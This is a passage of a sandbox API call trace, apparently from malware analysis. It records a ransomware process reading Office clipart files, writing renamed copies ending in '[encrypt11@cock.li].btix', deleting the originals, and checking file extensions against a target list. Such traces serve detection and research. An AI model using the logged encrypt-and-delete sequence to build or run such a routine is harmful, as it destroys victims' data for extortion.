SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.149] SetEndOfFile (hFile=0x344) returned 1 [0052.150] CloseHandle (hObject=0x344) returned 1 [0052.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.150] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 1 [0052.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0052.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0052.150] lstrlenW (lpString=".doc") returned 4 [0052.150] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.151] lstrlenW (lpString=".docx") returned 5 [0052.151] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.151] lstrlenW (lpString=".pdf") returned 4 [0052.151] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.151] lstrlenW (lpString=".xls") returned 4 [0052.151] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.151] lstrlenW (lpString=".xlsx") returned 5 [0052.151] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.151] lstrlenW (lpString=".ppt") returned 4 [0052.151] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0052.151] lstrlenW (lpString=".zip") returned 4 [0052.151] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.151] lstrlenW (lpString=".rar") returned 4 [0052.151] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.151] lstrlenW (lpString=".bz2") returned 4 [0052.151] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.151] lstrlenW (lpString=".7z") returned 3 [0052.151] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0052.151] lstrlenW (lpString=".dbf") returned 4 [0052.151] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0052.151] lstrlenW (lpString=".1cd") returned 4 [0052.151] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0052.151] lstrlenW (lpString=".jpg") returned 4 [0052.151] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0052.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0052.151] lstrlenW (lpString=".doc") returned 4 [0052.151] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.151] lstrlenW (lpString=".docx") returned 5 [0052.151] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.151] lstrlenW (lpString=".pdf") returned 4 [0052.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.152] lstrlenW (lpString=".xls") returned 4 [0052.152] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.152] lstrlenW (lpString=".xlsx") returned 5 [0052.152] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.152] lstrlenW (lpString=".ppt") returned 4 [0052.152] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0052.152] lstrlenW (lpString=".zip") returned 4 [0052.152] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.152] lstrlenW (lpString=".rar") returned 4 [0052.152] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.152] lstrlenW (lpString=".bz2") returned 4 [0052.152] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.152] lstrlenW (lpString=".7z") returned 3 [0052.152] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0052.152] lstrlenW (lpString=".dbf") returned 4 [0052.152] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0052.152] lstrlenW (lpString=".1cd") returned 4 [0052.152] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0052.152] lstrlenW (lpString=".jpg") returned 4 [0052.152] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.152] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0052.152] lstrlenW (lpString="AN01545_.WMF") returned 12 [0052.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0052.153] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=7372) returned 1 [0052.153] CloseHandle (hObject=0x344) returned 1 [0052.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 0x220 [0052.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0052.153] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.153] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0052.153] GetLastError () returned 0x0 [0052.153] ReadFile (in: hFile=0x344, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x1ccc, lpOverlapped=0x0) returned 1 [0052.164] WriteFile (in: hFile=0x388, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x1cd0, lpOverlapped=0x0) returned 1 [0052.165] ReadFile (in: hFile=0x344, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0052.165] WriteFile (in: hFile=0x388, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0052.165] SetEndOfFile (hFile=0x388) returned 1 [0052.165] CloseHandle (hObject=0x388) returned 1 [0052.166] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.166] SetEndOfFile (hFile=0x344) returned 1 [0052.176] CloseHandle (hObject=0x344) returned 1 [0052.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.177] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 1 [0052.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0052.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0052.177] lstrlenW (lpString=".doc") returned 4 [0052.177] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.177] lstrlenW (lpString=".docx") returned 5 [0052.177] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.177] lstrlenW (lpString=".pdf") returned 4 [0052.177] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.177] lstrlenW (lpString=".xls") returned 4 [0052.177] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.177] lstrlenW (lpString=".xlsx") returned 5 [0052.177] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.177] lstrlenW (lpString=".ppt") returned 4 [0052.177] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0052.177] lstrlenW (lpString=".zip") returned 4 [0052.177] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.177] lstrlenW (lpString=".rar") returned 4 [0052.177] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.177] lstrlenW (lpString=".bz2") returned 4 [0052.178] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.178] lstrlenW (lpString=".7z") returned 3 [0052.178] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0052.178] lstrlenW (lpString=".dbf") returned 4 [0052.178] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0052.178] lstrlenW (lpString=".1cd") returned 4 [0052.178] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0052.178] lstrlenW (lpString=".jpg") returned 4 [0052.178] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0052.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0052.178] lstrlenW (lpString=".doc") returned 4 [0052.178] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.178] lstrlenW (lpString=".docx") returned 5 [0052.178] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.178] lstrlenW (lpString=".pdf") returned 4 [0052.178] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.178] lstrlenW (lpString=".xls") returned 4 [0052.178] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.178] lstrlenW (lpString=".xlsx") returned 5 [0052.178] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.178] lstrlenW (lpString=".ppt") returned 4 [0052.178] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0052.178] lstrlenW (lpString=".zip") returned 4 [0052.178] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.178] lstrlenW (lpString=".rar") returned 4 [0052.178] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.178] lstrlenW (lpString=".bz2") returned 4 [0052.178] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.178] lstrlenW (lpString=".7z") returned 3 [0052.178] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0052.179] lstrlenW (lpString=".dbf") returned 4 [0052.179] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0052.179] lstrlenW (lpString=".1cd") returned 4 [0052.179] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0052.179] lstrlenW (lpString=".jpg") returned 4 [0052.179] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.179] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0052.179] lstrlenW (lpString="AN02724_.WMF") returned 12 [0052.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0052.179] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=2108) returned 1 [0052.179] CloseHandle (hObject=0x344) returned 1 [0052.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 0x220 [0052.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0052.179] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.179] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0052.180] GetLastError () returned 0x0 [0052.180] ReadFile (in: hFile=0x344, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x83c, lpOverlapped=0x0) returned 1 [0052.242] WriteFile (in: hFile=0x390, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x840, lpOverlapped=0x0) returned 1 [0052.242] ReadFile (in: hFile=0x344, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0052.242] WriteFile (in: hFile=0x390, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0052.243] SetEndOfFile (hFile=0x390) returned 1 [0052.243] CloseHandle (hObject=0x390) returned 1 [0052.243] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.243] SetEndOfFile (hFile=0x344) returned 1 [0052.244] CloseHandle (hObject=0x344) returned 1 [0052.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.244] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 1 [0052.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0052.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0052.244] lstrlenW (lpString=".doc") returned 4 [0052.245] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.245] lstrlenW (lpString=".docx") returned 5 [0052.245] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.245] lstrlenW (lpString=".pdf") returned 4 [0052.245] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.245] lstrlenW (lpString=".xls") returned 4 [0052.245] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.245] lstrlenW (lpString=".xlsx") returned 5 [0052.245] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.245] lstrlenW (lpString=".ppt") returned 4 [0052.245] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0052.245] lstrlenW (lpString=".zip") returned 4 [0052.245] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.245] lstrlenW (lpString=".rar") returned 4 [0052.245] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.245] lstrlenW (lpString=".bz2") returned 4 [0052.245] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.245] lstrlenW (lpString=".7z") returned 3 [0052.245] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0052.245] lstrlenW (lpString=".dbf") returned 4 [0052.245] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0052.245] lstrlenW (lpString=".1cd") returned 4 [0052.245] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0052.245] lstrlenW (lpString=".jpg") returned 4 [0052.245] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0052.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0052.245] lstrlenW (lpString=".doc") returned 4 [0052.245] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.245] lstrlenW (lpString=".docx") returned 5 [0052.245] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.246] lstrlenW (lpString=".pdf") returned 4 [0052.246] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.246] lstrlenW (lpString=".xls") returned 4 [0052.246] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.246] lstrlenW (lpString=".xlsx") returned 5 [0052.246] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.246] lstrlenW (lpString=".ppt") returned 4 [0052.246] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0052.246] lstrlenW (lpString=".zip") returned 4 [0052.246] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.246] lstrlenW (lpString=".rar") returned 4 [0052.246] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.246] lstrlenW (lpString=".bz2") returned 4 [0052.246] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.246] lstrlenW (lpString=".7z") returned 3 [0052.246] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0052.246] lstrlenW (lpString=".dbf") returned 4 [0052.246] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0052.246] lstrlenW (lpString=".1cd") returned 4 [0052.246] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0052.246] lstrlenW (lpString=".jpg") returned 4 [0052.246] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.247] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0052.247] lstrlenW (lpString="AN04134_.WMF") returned 12 [0052.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0052.247] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=3416) returned 1 [0052.247] CloseHandle (hObject=0x344) returned 1 [0052.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 0x220 [0052.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0052.247] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.247] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0052.248] GetLastError () returned 0x0 [0052.248] ReadFile (in: hFile=0x344, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0xd58, lpOverlapped=0x0) returned 1 [0052.277] WriteFile (in: hFile=0x390, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xd60, lpOverlapped=0x0) returned 1 [0052.278] ReadFile (in: hFile=0x344, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0052.278] WriteFile (in: hFile=0x390, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0052.278] SetEndOfFile (hFile=0x390) returned 1 [0052.278] CloseHandle (hObject=0x390) returned 1 [0052.278] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.278] SetEndOfFile (hFile=0x344) returned 1 [0052.279] CloseHandle (hObject=0x344) returned 1 [0052.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.279] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft 